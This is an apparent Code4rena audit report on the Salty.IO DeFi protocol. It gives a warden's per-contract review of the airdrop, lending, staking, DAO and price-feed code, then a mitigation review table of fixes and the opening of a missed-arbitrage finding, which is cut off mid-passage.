- Analyze the lending section (WBTC-WETH), Collaterization Ratio, Liquidation process (liquidizer)
- Checked the PriceAggregators (Chainlink, Salt and Uniswap) and cross-compare to the whole lending process
- Fill in the gaps (Arbitrage, Math)
- Started end-to-end scenario analysis for hypothetical users (eg a user stakes 100 SALT. What happens? How much votes does he have?)
- Looked through the test files.
- Wrote the QA, Analysis and Report whilst going through the protocol
Summary and Mechanism Review
Airdropping tokens
User’s POV:
- The user must have a signature (be whitelisted or something else) and call BootstrapBallot.vote().
- The user can vote yes or no to start the exchange
- There is a time limit for the voting duration
- Once the vote ends, if the vote passes, then users can go to claimAirdrop() and claim their SALT tokens
- Note that the SALT cannot be claimed immediately, but is staked for the user. To claim the SALT directly, they have to call unstake and wait 52 weeks for the total duration.
- Mechanism is well thought out, users can only vote once and claim once.
- The amount of SALT distributed is distributed equally (5 million), and if there is low number of votes(), then authorized voters can get more SALT.
- It is uncertain how users can obtain a signature in order to be eligible to vote. If getting into the whitelist is easy, then users can create multiple accounts to vote (no) and grief the whole protocol (costs a lot of gas for them though)
- An important thing to note is that the vote can fail, and if the vote does fail, what happens next? Will the contract be redeployed?
- Also, if there are 0 authorized voters (extremely unlikely), then the whole process will fail.
- Contracts used: Airdrop.sol, BootstrapBallot.sol, InitialDistribution.sol, ExchangeConfig.sol, Staking.sol
- Mechanism is dependant on users calling vote and users actually voting yes.
Depositing Collateral and Minting USDS
User’s POV:
- The user deposits WBTC and WETH token into the Pools contract through CollateralAndLiquidity.depositCollateralAndIncreaseShare().
- Users can call
borrowUSDS()
to mint USDS. - Users can repay their USDS debt by calling
repayUSDS()
. - A common collaterized stablecoin mechanism. Having an initial collateral ratio and minimum collateral ratio is good so that the users position will not get immediately liquidated when withdrawing the max amount of debt
- Initial Collateral ratio is set as 200%, with a 150-300% range. Mincollateral ratio is set at 110%, with a 110-120 range
- Users have to repay their USDS in order to withdraw their liquidity, which is correct.
Liquidation
Liquidator’s POV:
- Liquidator calls
liquidateUser()
in CollateralAndLiquidity.sol - If the user is primed for liquidation, all his WBTC and WETH tokens will be withdrawn from the pool.
- The liquidator gets 5% of the WBTC and WETH tokens.
- The WBTC and WETH tokens will be sent to the Liquidizer contract, get swapped to USDS and burnt
- The liquidated user gets to keep his USDS debt.
- Interesting mechanism for liquidation. Normally, the liquidator will repay the debt, but in this case the liquidator simply calls a function.
- Unsure how burning the WBTC and WETH token will help the USDS token. Probably through the rebalancing of the pools?
- Liquidation rewards can range from 5-10%.
Depositing liquidity
User’s POV:
- User can deposit liquidity through
Liquidity.depositLiquidityAndIncreaseShare()
. Take note that users can only deposit into whitelisted pools and that the tokens are whitelisted. - User can withdraw liquidity through
Liquidity.withdrawLiquidityAndClaim()
. Note that there is a buffer time between depositing and withdrawing liquidity to prevent any flashloan rewards exploit. - When liquidity is withdrawn, SALT rewards will be distributed to the liquidity provider.
- There is no ERC20 liquidity token issued. Liquidity is just the combination of the amount of token A and token B, which get’s pretty confusing when both tokens have different decimals.
- Users can only deposit an equal ratio of token A and token B, which is good to prevent any liquidity imbalance exploit.
Staking SALT
User’s POV:
- User calls
stakeSALT()
in the Staking.sol contract. The user’s wallet must have access first - User shares is increased. When SALT is staked, it becomes xSALT. Users can use xSALT as voting power to ballot in proposals
- User can unstake xSALT for SALT. The unstaking process is between 1 week to 1 year with a penalty of 80% for faster unstaking.
- The SALT that is penalized from unstaking prematurely will be burned.
- Users can cancel their
unstake()
at any point in time. - Normal Staking mechanism, with penalties. Note that the user’s votes still exist even when unstake is called.
Swapping Tokens
- Users can call depositSwapWithdraw() to swap tokens from a whitelisted pool (assuming it has enough liquidity)
- Instead of a typical AMM swap, it adjusts the reserves and attempt an arbitrage, which is a novel concept
Codebase quality analysis
Contract | Function | Access | Comments |
---|---|---|---|
PoolsConfig | whitelistPool | onlyOwner, DAO | From 10-100 max pools, calls updateArbitrageIndicies |
PoolsConfig | unwhitelistPool | onlyOwner, DAO | unwhitelist the pools, what if still have liquidity inside? can it be taken out? |
PoolsConfig | changeMaximumWhitelistedPools | onlyOwner, DAO | from 20-100 with a default of 50 |
PoolsConfig | changeMaximumInternalSwapPercentTimes1000 | onlyOwner, DAO | from 0.25% to 2% with a default of 1% |
- The check for whitelist is from the increaseuserShare function. It seems that decreaseUserShare doesn’t check for whitelist, which is correct.
- Since the owner is the only whitelisting the pool, issues with whitelisting pools will fall under centralization risks
Contract | Function | Access | Comments |
---|---|---|---|
CoreChainlinkFeed | latestChainlinkPrice | view function | Called when trying to get a loan, will get WBTC and WETH price. Note that WBTC is returned as 18 decimals |
- A few Potential Issues
- The
latestRoundData
is not sufficiently checked, may return stale prices. - MAXANSWERDELAY is fixed, so make sure that BTC and ETH feeds also have the same delay
- Price returning as 0 instead of reverting can be dangerous. Not sure if it’s the best for the protocol since it uses a price aggregator, if another price feed is manipulated then the zero return will be detrimental, however the scenario where 2 price feeds are down simultaneously is pretty unlikely
- Other than that, price return and use of latestRoundData is correct
Contract | Function | Access | Comments |
---|---|---|---|
DAOConfig | changeBootstrappingRewards | onlyOwner, probably DAO | Comments and code match up, 50k-500k |
DAOConfig | changePercentPolRewardsBurned | onlyOwner, probably DAO | Comments and code match up, 25-75 |
DAOConfig | changeBaseBallotQuorumPercent | onlyOwner, probably DAO | Comments and code match up, 5000-20000 |
DAOConfig | changeBallotDuration | onlyOwner, probably DAO | Comments and code match up, 3-14 |
DAOConfig | changeRequiredProposalPercentStake | onlyOwner, probably DAO | Comments and code match up, 100-2000 |
DAOConfig | changeMaxPendingTokensForWhitelisting | onlyOwner, probably DAO | Comments and code match up, 3-12 |
DAOConfig | changeArbitrageProfitsPercentPOL | onlyOwner, probably DAO | Comments and code match up, 5-45 |
DAOConfig | changeUpkeepRewardPercent | onlyOwner, probably DAO | Comments and code match up, 1-10 |
- Same as other Config files, used in Parameter, which is inherited from DAO.sol. There are 8 changes here, so there must be 8 changes in the Parameter contract as well.
Contract | Function | Access | Comments |
---|---|---|---|
Proposals | _possiblyCreateProposal | internal (DAO and public can call) | Users must have a percentage of salt stake to call a proposal, one user can propose only one ballot |
Proposals | createConfirmationProposal | called by DAO | DAO doesn’t need any staked SALT to call a proposal |
Proposals | markBallotAsFinalized | called by DAO | This should be internal? If called this accidentally, then proposal will be voided |
Proposals | proposeParameterBallot | anyone can call | Only one proposal per address, to prevent spam |
Proposals | proposeTokenWhitelisting | anyone can call | Maximum of 12, default 5 |
Proposals | proposeTokenUnwhitelisting | anyone can call | DAO doesn’t need any staked SALT to call a proposal |
Proposals | proposeSendSALT | anyone can call | Would be quite funny to propose sending salt to yourself |
Proposals | proposeCallContract | anyone can call | This is quite dangerous as no one knows what the arbitrary contract code holds |
Proposals | proposeCountryInclusion | anyone can call | Interesting requirement of 2 bytes ISO 3166 Alpha-2 Code, can this be bypassed? |
Proposals | proposeCountryExclusion | anyone can call | Excludes a country, is there any country where it must be always excluded? Like tokenunwhitelisting? |
Proposals | proposeSetContractAddress | anyone can call | Also can be quite dangerous |
Proposals | proposeWebsiteUpdate | anyone can call | website might not even be a proper one |
Proposals | castVote | anyone with staked salt | I like how there is recasting of votes. Votes can only be called once |
Proposals | requiredQuorumForBallotType | anyone with staked salt | whitelist token needs 2x the base quorum, more important things like changing website need 3x |
- Good that only one user can open one active proposal to prevent spamming
- The salt staking is quite interesting, because before any stake, a user can propose anything without much salt
- It’s a proposal phase so even though anyone can create a proposal, it’s still a DAO effort to make sure it passes or not
- All the contracts call the proper channels
- Casting vote checks that the amount of votes can only be used once per ballot
- The required quorum checks for the votes percentage correctly.
Contract | Function | Access | Comments |
---|---|---|---|
Parameters | _executeParameterChange | internal call | Abstract contract |
- Make sure that StakingConfig has 4 types, DAOConfig has 8 types, rewardsConfig has 4 types, StableConfig has 6 types, PoolsConfig has 2 types, PriceAggregator has 2 types
- Function is written properly and all else if calls are correctly placed.
- All intended changes and increments are written correctly
Contract | Function | Access | Comments |
---|---|---|---|
Airdrop | authorizeWallet | only BootstrapBallot can call | allowClaiming must not be called first |
Airdrop | allowClaiming | only InitialDistribution can call | users who are authorized can claim, but that means that there must be salt balance in the contract first |
Airdrop | claimAirdrop | only authorized wallet | after allowclaiming and is authorized, only can claim once |
Airdrop | isAuthorized | view function | Uses Enumerable Set, added from authorizeWallet function |
Airdrop | numberAuthorized | view function | Simply checks the length |
- The first thing that happens is that the bootstrap Ballot must authorize all the wallet it wants to authorize
- Once allow claiming is called (can only be called once), then there is no more authorized wallet.
- This means even before the salt is sent to the initial distribution contract, some wallets must already be authorized.
- Users must vote in order to be authorized in BootstrapBallot.sol
- For users, they have to vote first, then wait until initial distribution is called, then call claimAirdrop(). They can only claim once. Their tokens will pass through the staking contract and then be transferred to the user (must check this interaction)
- Is this authorization independent from the entire protocol? In other words, does it affect anything else?
- All functions are checked to be written correctly. Users that are not authorized cannot claim. Also, once initial distribution starts, no one can be authorized anymore.
Contract | Function | Access | Comments |
---|---|---|---|
BootstrapBallot | constructor | - | Take note of the ballotDuration, most important part of this contract |
BootstrapBallot | vote | only users with the signature | signature check done offchain. Message hash includes the msg.sender |
BootstrapBallot | finalizeBallot | public | If votes are equal, also assume fail. Function can only be called once. |
BootstrapBallot | authorizeWallet | only BootstrapBallot can call | allowClaiming must not be called first |
- Only can vote once, but must call vote() to be authorized
- Potential Issue What if the majority votes to not start the exchange? what happens? The whole contract is redeployed? Also, is getting whitelisted easy? Can users just keep voting no with multiple accounts? (because they will still get airdrop anyways if the votes succeed)
- If succeed, will call initialdistribution.distributionApproved, and then airdrop.allowClaiming will be called. startExchangeApproved() will also be called.
- Voting and finalizing is done correctly. Pools and initial distribution does receive the approval
[InitialDistribution.sol]
Contract | Function | Access | Comments |
---|---|---|---|
InitialDistribution | distributionApproved | Only BootstrapBallot can call | The 100M salt token must already be in the contract |
- 52M to emissions, 25M to DAO vesting wallet, 10M to Team vesting wallet, 5M to airdrop participants, 5M to liquidity and 3M to staking, total to 100M.
- No salt should be left in this contract after distributionApproved is called.
- Once distributionApproved is called, no more wallets can be authorized. So these wallets may be on the whitelist but if they don’t vote, they don’t get the airdrop.
- This function assumes that the Ballot succeeds, and the WhitelistedPools is correct.
- No potential issues in this contract alone. MILLION_ETHER is written correctly, every calculation is multiplied properly. Check cannot be griefed because no other SALT can be minted other than the 100M given to the msg.sender of the SALT contract.
Contract | Function | Access | Comments |
---|---|---|---|
PriceAggregator | setInitialFeeds | onlyOwner, probably DAO | The require statement is a little wrong, more comments below |
PriceAggregator | setPriceFeed | onlyOwner, probably DAO | Call once every 35 days, priceFeedModificationCooldown can be changed, 30-45 days |
PriceAggregator | changeMaximumPriceFeedPercentDifferenceTimes1000 | onlyOwner, probably DAO | Same as other Config files, comments and code match up, from 1000 - 7000 |
PriceAggregator | changePriceFeedModificationCooldown | onlyOwner, probably DAO | comments and code match up, from 30-45 days |
PriceAggregator | _aggregatePrices | internal | gets the average of the two closest price |
- Potential Issue: in setInitialFeeds, if owner sets the first price feed1 as 0 address, then he can call setInitialFeeds again
- Not sure about the purpose of a
priceFeedModificationCooldown
since it’s only changed if something serious is going to happen / has happened. It should be able to be changed immediately. - Config files are set properly, with lower bound and upper bound tallying up with the comments
- Aggregate prices is written correctly. Even if 1 price feed returns 0, hopefully the other two price feeds returns the correct price, and gets the average sum
- The percentageDifference tolerance is about 3%, and be changed from 1% - 7%
Contract | Function | Access | Comments |
---|---|---|---|
CoreSaltyFeed | getPriceBTC | view function, called by PriceAggregator, no change of state | Check that reservesWBTC is in 8 decimals when pools.getPoolReserves is called |
CoreSaltyFeed | getPriceETH | view function, called by PriceAggregator, no change of state | Check that pools.getPoolReserves returns the proper reservesWETH and reservesUSDS amount |
- The reserve price cannot be less than DUST, which is 100.
- This contract interacts with pools.getPoolReserves, so must check whether that function returns the correct amount
Contract | Function | Access | Comments |
---|---|---|---|
RewardsConfig | changeRewardsEmitterDailyPercent | OnlyOwner, probably DAO | Comments and Code match up, from 250 - 2500 (0.25% to 2.5%) |
RewardsConfig | changeEmissionsWeeklyPercent | OnlyOwner, probably DAO | Comments and Code match up, from 250 - 1000 (0.25% to 1%) |
RewardsConfig | changeStakingRewardsPercent | OnlyOwner, probably DAO | Comments and Code match up, from 25 - 75 (25% to 75%) |
RewardsConfig | changePercentRewardsSaltUSDS | OnlyOwner, probably DAO | Comments and Code match up, from 5 - 25 (5% to 25%) |
- Probably same as StakingConfig and the other Configs file, all change is called in Parameter.sol which is an abstract contract inherited by DAO.sol
Contract | Function | Access | Comments |
---|---|---|---|
Emissions | performUpkeep | Only Upkeep contract can call | Calls rewardsConfig.emissionsWeeklyPercentTimes1000() |
- Upkeep contract is set in the ExchangeConfig contract
- Checked the calculation of saltToSend, seems correct
uint256 saltToSend = ( saltBalance * timeSinceLastUpkeep * rewardsConfig.emissionsWeeklyPercentTimes1000() ) / ( 100 * 1000 weeks );
Assume 100e18 as saltBalance, 0.5% should be 5e17.
(1 second)
100e18 * 1 * 500 / (100 * 1000 * 604800) = 826719576720
(1 week)
100e18 * 604800 * 500 / (100 * 1000 * 604800) = 5e17 (0.5%)
- This is called in the Upkeep contract, at step 6. It is assumed that the emission contract already has some salt balance? I think it’s from initial distribution of 52 million salt.
- Potential Issue: Must check last emission, whether it will truncate to zero, apparently dust values would truncate.
- Emission calculation is checked, timeSinceLastUpkeep is checked, max of 1 week.
Contract | Function | Access | Comments |
---|---|---|---|
USDS | setCollateralAndLiquidity | onlyOwner, inherited Ownable | renounceOwnership() can be dangerous is the collateralAndLiquidity contract address is changed |
USDS | mintTo | only collateralAndLiquidityCanCall | check how collateralAndLiquidity calls mintTo , check whether amount can be manipulated |
USDS | burnTokensInContract | public | will only be an error if DAO mistakenly deposits USDS into contract |
- Inherits ERC20, Ownable
- Inheritance is correct, the minting from collateral contract is also correct.
Contract | Function | Access | Comments |
---|---|---|---|
StakingConfig | changeMinUnstakeWeeks | onlyOwner, is DAO | Comments and code match up, range only from 1-12 |
StakingConfig | changeMaxUnstakeWeeks | onlyOwner, is DAO | Comments and code match up, range only from 20-108 |
StakingConfig | changeMinUnstakePercent | onlyOwner, is DAO | Comments and code match up, range only from 10-50 |
StakingConfig | changeModificationCooldown | onlyOwner, is DAO | Comments and code match up, range only from 15-600 |
- All the change is called in Parameter.sol, which is an abstract contract inherited from the DAO
- Only DAO can call these changes, which is changed through a balloting process
- The increase and decrease can be quite inconvenient (If minUnstakeWeeks is currently at 1, then have to call 11 times to become 12), but it’s probably a design decision
- Potential Issue: changeminunstake weeks ranges from 1-12, but docs mention 2-12.
- All other comments are checked to be consistent with the code
Contract | Function | Access | Comments |
---|---|---|---|
ManagedWallet | proposeWallets | called by mainWallet | 2-step transfer to change the mainwallet and confirmation wallet |
ManagedWallet | receive() | called by confirmationWallet | Ether is stuck in contract, and the confirmationWallet can alter the activeTimelock duration anytime |
ManagedWallet | changeWallets | called by proposedMainWallet | Must wait for activeTimelock to set and reset the variables |
- Interesting to see how the mainWallet only can call proposeWallet and the confirmation wallet only can set the activeTimelock.
- 3 potential issues:
-
- The activeTimelock can be set even before proposeWallets is called, so the activeTimelock can be bypassed
-
- The contract cannot draw out the ether, ether stuck in contract
-
- Confirmation wallet can reject the whole proposal by either not calling the contract or just sending in 1 wei
Contract | Function | Access | Comments |
---|---|---|---|
AccessManager | excludedCountriesUpdated | called by DAO | can be inconvenient because all verified wallets have to be verified again, does it affect anything? |
AccessManager | grantAccess | public, users must have the signature | geoVersion can be changed |
AccessManager | _verifyAccess | internal, called by grantAccess | Check whether the _verifySignature function is written correctly |
- grantAccess / walletHasAccess is used by which contracts?
Contract | Function | Access | Comments |
---|---|---|---|
Salt | constructor | one time | mints 100M salt to msg.sender, and doesn’t have any mint, consider hard cap? |
Salt | burnTokensInContract | public | same as USDS, error will be on the user side |
- Inherits ERC20
- Mint is correct, mints to a msg.sender, which is supposed to be sent to the InitialDistribution.
Architecture Review
Design Patterns and Best Practices
- Common design patterns are used, like onlyOwner, or checking for DAO access, or reentrancy guards
- Abstract contracts and Inheritance is used well
- Nuances like checking for DUST amounts, having min-collateral and initial-collateral, having a time delay for staking and unstaking shows that the protocol is written well
Code Readability and Maintainability
- Code is quite difficult to read due to the sheer size of the codebase and the amount of Math involved in AMM.
- Code also has a lot of external calls to other contracts which is quite confusing, but there is a common pattern of using Config and Parameters
- There is also a lot of internal calls, but that is to be expected from a large codebase with many different function
Error Handling and Input Validation
- Events and Error messages are easy to understand
- Input is validated well in every config file, and the code matches the comments
Interoperability and Standards Compliance
- Good knowledge of the ERC20 standard when creating USDS and SALT tokens
Testing and Documentation
- Extensive tests (unit, integration tests) done, reaching an overall coverage of almost 100%
- Documentation (whitepaper, github) is plentiful and includes quality reasoning at every juncture of the protocol
- One improvement could be having more diagrams and a summarized version of how the protocol works from the top down, with a end-to-end scenario of how a user can interact with the protocol (what function should the user call first, what can a user accomplish, why is the user incentivized to use the protocol)
Upgradeability
- Protocol is not intended to be upgradeable, but contracts can be redeployed and rerouted easily through the changeManagers and changeRegistries function.
Dependency Management
Protocol relies on external libraries like OpenZeppelin. Protocol should keep an eye on vulnerabilities that affects those external integrations, and make changes where necessary.
Overall, great architecture from the protocol, slight changes would be to the written code itself (using modifiers for repeated code, checking zero values, checking overflows etc) and more real life scenarios in the documentation.
Centralization Risk
Not much centralization risk as the protocol is almost run fully on the DAO and votes. The only thing the DAO can do is control which proposals to be passed by finalizing the Ballot. Otherwise, most of the protocol functions like clockwork.
Time spent:
40 hours
Mitigation Review
Introduction
Following the C4 audit, 3 wardens 0xpiken, t0x1c, and zzebra83 reviewed the mitigations for all identified issues. Additional details can be found within the C4 Salty.IO Mitigation Review repository.
Overview of Changes
To decrease the risk profile of the exchange and focus on the core features provided by automatic arbitrage, the USDS stablecoin and all associated functionality (price feeds, collateral, liquidizer, etc) have been completely removed. The stablecoin was largely isolated from the rest of the project, but this did refactor the way Upkeep works.
Resulting from the stablecoin being removed all tokens are now paired with WETH and USDC rather than WETH and WBTC (which was previously done to provide increased yield for now removed collateral).
Also, the ManagedWallet contract has been removed - with the teamVestingWallet now targeting a simple teamWallet address.
To prevent any swaps from occurring during performUpkeep, Protocol Owned Liquidity has been removed. Additionally, on user swap any WETH profits that are generated are swapped immediately to SALT - rather than being done in performUpkeep.
In response to a suggestion by one of the wardens in the original competition, the ArbitrageSearch mechanism has been refactored and optimized extensively: https://github.com/code-423n4/2024-01-salty-findings/issues/419
Users are now limited to one swap per block due to an issue found in which arbitrage could be bypassed by dividing up individual swaps into tens or hundreds of swaps. Without the limitation and due to the protocol’s reletively low gas costs for swap and arbitrage, attackers would otherwise be able to perform multiple swaps in one transaction - effectively bypassing arbitrage and the rebalancing done that discourages manipulation. While multiple wallets could still be used on such an attack, the gas costs incurred on the multiple separate swap transactions are considered a sufficient deterrent.
Mitigation Review Scope
URL | Mitigation of | Purpose |
---|---|---|
https://github.com/othernet-global/salty-io/commit/5766592880737a5e682bb694a3a79e12926d48a5 | H-01 | ManagedWallet has been removed. VestingWallet now just vests directly to teamWallet. |
https://github.com/othernet-global/salty-io/commit/4f0c9c6a6e3e4234135ab7119a0e380af3e9776c | H-02 | performUpkeep is now called at the start of BootstrapBallot.finalizeBallot to reset the emissions timers just before liquidity rewards claiming is started. |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | H-03 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/5f79dc4f0db978202ab7da464b09bf08374ec618 | H-04 | virtualRewards and userShare are now uint256 rather than uint128. |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | H-05 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | H-06 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/b3b8cb955db2b9f0e47a4964e1e4f833a447a72d | M-01 | virtualRewards now rounded up on _decreaseUserShare |
https://github.com/othernet-global/salty-io/commit/5f1a5206a04b0f3fe45ad88a311370ce12fb0135 | M-02 | callFromDAO now wrapped in a try/catch |
https://github.com/othernet-global/salty-io/commit/ccf4368fcf1777894417fccd2771456f3eeaa81c | M-03 | There is now no limit to the number of tokens that can be proposed for whitelisting. Also, any whitelisting proposal that has reached quorum with sufficient approval votes can be executed. |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | M-04 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | M-05 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/758349850a994c305a0ab9a151d00e738a5a45a0 | M-06 | ballotMaximumDuration added. There is now a default 30 day period after which ballots can be removed by any user. |
https://github.com/othernet-global/salty-io/commit/5766592880737a5e682bb694a3a79e12926d48a5 | M-07 | ManagedWallet has been removed. |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | M-08 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/b01f6e5cb360e89f9e4cdae41d609ea747bcaa86 | M-09 | Fixes reserves DUST check |
https://github.com/othernet-global/salty-io/commit/c46069644739885fa36e84e27e1dd6362b854663 | M-11 | Ballots now keep track of their own requiredQuorum at the time they were created. |
https://github.com/othernet-global/salty-io/commit/39921b4a25041c7ac4e9b5279e12bb2ec518140b | M-12 | ballotNames now include all provided proposal arguments. |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | M-13 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/ccf4368 | M-14 | Removed maxPendingTokensForWhitelisting. There is now no limit to the number of tokens that can be proposed for whitelisting. Also, any whitelisting proposal that has reached quorum with sufficient approval votes can be executed. |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | M-15 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/a54656dd18135ca57eef7c4bf615b7cdff2613a7 https://github.com/othernet-global/salty-io/commit/53feaeb0d335bd33803f98db022871b48b3f2454 | M-16 | ArbitrageSearch updated as suggested with MSB as well |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | M-18 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/758349850a994c305a0ab9a151d00e738a5a45a0 | M-19 | There is now a default 30 day period after which ballots can be removed by any user. |
https://github.com/othernet-global/salty-io/commit/eaf40ef0fa27314c6e674db6830990df68e5d70e | M-20 | POL has been removed from the protocol |
https://github.com/othernet-global/salty-io/commit/eaf40ef0fa27314c6e674db6830990df68e5d70e | M-21 | POL has been removed from the protocol |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | M-22 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/44320a8cc9b94de433e437e025f072aa850b995a | M-25 | Zapping no longer uses scaling. |
https://github.com/othernet-global/salty-io/commit/eaf40ef0fa27314c6e674db6830990df68e5d70e | M-26 | POL has been removed from the protocol |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | M-27 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/0bb763cc67e6a30a97d8b157f7e5954692b3dd68 | M-28 | minAddedAmountA and minAddedAmountB are now used. |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | M-29 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed | M-30 | The stablecoin framework has been removed: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS. |
https://github.com/othernet-global/salty-io/commit/5766592880737a5e682bb694a3a79e12926d48a5 | M-31 | ManagedWallet has been removed. |
Additional Mitigation Review Scope
These are additional changes that will be in scope and were addressed outside of direct mitigation.
URL | Mitigation of | Purpose |
---|---|---|
https://github.com/othernet-global/salty-io/commit/f16623e6bf1cdb0845b83ebf3592e30885a8fc61 | E1 | Arbitrage no longer occurs when zapping liquidity |
https://github.com/othernet-global/salty-io/commit/75901cae57382a87b5f049d7afb9c5d9b9ba4c19 https://github.com/othernet-global/salty-io/commit/7de25bca740332ae7a4b2f25c3a6f6419eaa7569 | E2 | Arbitrage gas optimization |
https://github.com/othernet-global/salty-io/commit/60de2c02bcfbcc64b41c03ea0582ec9e7a3f332a | E3 | Gas stabilization by preventing overwriting zeros after performUpkeep |
https://github.com/othernet-global/salty-io/commit/6998661013e86a50c7db552d189fadb0521dbeb0 | E4 | Fixes arbitrage revert when there is zero SALT/WETH liquidity |
https://github.com/othernet-global/salty-io/commit/2d1b7df004394720c0d8bb4aefe903021631eff3 | E5 | Limited user swaps to one per block to prevent bypassing arbitrage within a single block |
Mitigation Review Summary
Original Issue | Status | Full Details |
---|---|---|
H-01 | 🟢 Mitigation Confirmed | Reports from 0xpiken, zzebra83, and t0x1c |
H-02 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
H-03 | 🟢 Mitigation Confirmed | Reports from t0x1c, 0xpiken, and zzebra83 |
H-04 | 🟢 Mitigation Confirmed | Reports from t0x1c, 0xpiken, and zzebra83 |
H-05 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
H-06 | 🟢 Mitigation Confirmed | Reports from 0xpiken, zzebra83, and t0x1c |
M-01 | 🔴 Mitigated with an Error | Report from t0x1c |
M-02 | 🟢 Mitigation Confirmed | Reports from t0x1c, 0xpiken, and zzebra83 |
M-03 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
M-04 | 🟢 Mitigation Confirmed | Reports from zzebra83, t0x1c |
M-05 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
M-06 | 🟢 Mitigation Confirmed | Reports from zzebra83 |
M-07 | 🟢 Mitigation Confirmed | Reports from t0x1c, 0xpiken, and zzebra83 |
M-08 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
M-09 | 🟢 Mitigation Confirmed | Reports from t0x1c, 0xpiken, and zzebra83 |
M-11 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
M-12 | 🔴 Mitigated with an Error | Report from t0x1c |
M-13 | 🟢 Mitigation Confirmed | Reports from 0xpiken, zzebra83, and t0x1c |
M-14 | 🟢 Mitigation Confirmed | Reports from 0xpiken, zzebra83, and t0x1c |
M-15 | 🟢 Mitigation Confirmed | Reports from t0x1c, zzebra83, and 0xpiken |
M-16 | 🔴 Mitigated with an Error | Report from zzebra83 |
M-18 | 🟢 Mitigation Confirmed | Reports from t0x1c, zzebra83, and 0xpiken |
M-19 | 🔴 Mitigated with an Error | Reports from 0xpiken |
M-20 | 🟢 Mitigation Confirmed | Reports from t0x1c, zzebra83, and 0xpiken |
M-21 | 🟢 Mitigation Confirmed | Reports from 0xpiken, zzebra83, and t0x1c |
M-22 | 🟢 Mitigation Confirmed | Reports from t0x1c, zzebra83, and 0xpiken |
M-25 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
M-26 | 🟢 Mitigation Confirmed | Reports from 0xpiken, zzebra83, and t0x1c |
M-27 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
M-28 | 🟢 Mitigation Confirmed | Reports from 0xpiken, zzebra83, and t0x1c |
M-29 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
M-30 | 🟢 Mitigation Confirmed | Reports from 0xpiken, zzebra83, and t0x1c |
M-31 | 🟢 Mitigation Confirmed | Reports from t0x1c, zzebra83, and 0xpiken |
E-01 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
E-02 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
E-03 | 🟢 Mitigation Confirmed | Reports from t0x1c, 0xpiken, and zzebra83 |
E-04 | 🔴 Mitigated with an Error | Report from 0xpiken |
E-05 | 🟢 Mitigation Confirmed | Reports from zzebra83, 0xpiken, and t0x1c |
The wardens surfaced several new findings and mitigation errors. In total, 8 Medium severity vulnerabilities were uncovered during this phase. See below for full details on these as well as one Low severity issue that the judge deemed worthy of inclusion.
Missed Arbitrage Profits from Imbalanced Pools
Submitted by zzebra83, also found by 0xpiken
Severity: Medium
C4 issue
M-16: Suboptimal arbitrage implementation
Comments
The issue addressed the protocol’s potential to overlook profitable trades due to its search range limitations. The bisection search method employed by the protocol might miss profit opportunities when the pools are balanced and a user wants to swap an amount of one token for another. This is crucial since arbitrage is a key feature that should always be available to users for capitalizing on price differences across various liquidity pools.
